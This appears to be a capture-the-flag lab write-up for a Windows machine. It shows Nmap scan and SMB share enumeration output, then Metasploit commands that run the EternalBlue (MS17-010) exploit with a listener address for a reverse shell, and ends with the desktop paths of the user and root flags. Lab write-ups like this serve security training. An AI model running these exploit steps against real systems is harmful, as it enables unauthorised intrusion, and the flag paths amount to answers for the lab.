

Scanning

Nmap

sudo nmap -A -p- -T4 -sCV --script smb-enum-shares 10.10.10.40

Starting Nmap 7.94SVN (<https://nmap.org>) at 2024-06-18 13:20 EDT

Nmap scan report for 10.10.10.40

Host is up (0.036s latency).

Not shown: 65526 closed tcp ports (reset)

PORT	STATE	SERVICE	VERSION
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135/tcp	open	msrpc	Microsoft Windows RPC
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139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
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445/tcp	open	microsoft-ds	Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
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49152/tcp	open	msrpc	Microsoft Windows RPC
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49153/tcp	open	msrpc	Microsoft Windows RPC
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49154/tcp	open	msrpc	Microsoft Windows RPC
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49155/tcp	open	msrpc	Microsoft Windows RPC
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49156/tcp	open	msrpc	Microsoft Windows RPC
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49157/tcp	open	msrpc	Microsoft Windows RPC
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No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/>).

TCP/IP fingerprint:

OS:SCAN(V=7.94SVN%E=4%D=6/18%OT=135%CT=1%CU=40978%PV=Y%DS=2%DC=T%G=Y%TM=667

OS:1C274%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S

OS:%TS=7)SEQ(SP=103%GCD=2%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=7)OPS(O1=M53CNW8ST

OS:11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CS

OS:T11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=8

OS:0%W=2000%O=M53CNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(

OS:R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F

OS:=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T

OS:=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=

OS:0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=

OS:164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops

Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb-enum-shares:

| account_used: guest

| \\10.10.10.40\ADMIN\$:

| Type: STYPE_DISKTREE_HIDDEN

| Comment: Remote Admin

| Anonymous access: <none>

| Current user access: <none>

| \\10.10.10.40\C\$:

| Type: STYPE_DISKTREE_HIDDEN

| Comment: Default share

| Anonymous access: <none>

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| Current user access: <none>
| \\10.10.10.40\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: READ
| Current user access: READ/WRITE
| \\10.10.10.40\Share:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
| Current user access: READ
| \\10.10.10.40\Users:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ
```

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 36.91 ms 10.10.14.1

2 36.97 ms 10.10.10.40

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 149.61 seconds

Exploit

Metasploit

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 10.10.10.40

set LHOST 10.10.14.14

run

for user.txt, got to path C:\Users\haris\Desktop

for root.txt, go to path C:\Users\Administrator\Desktop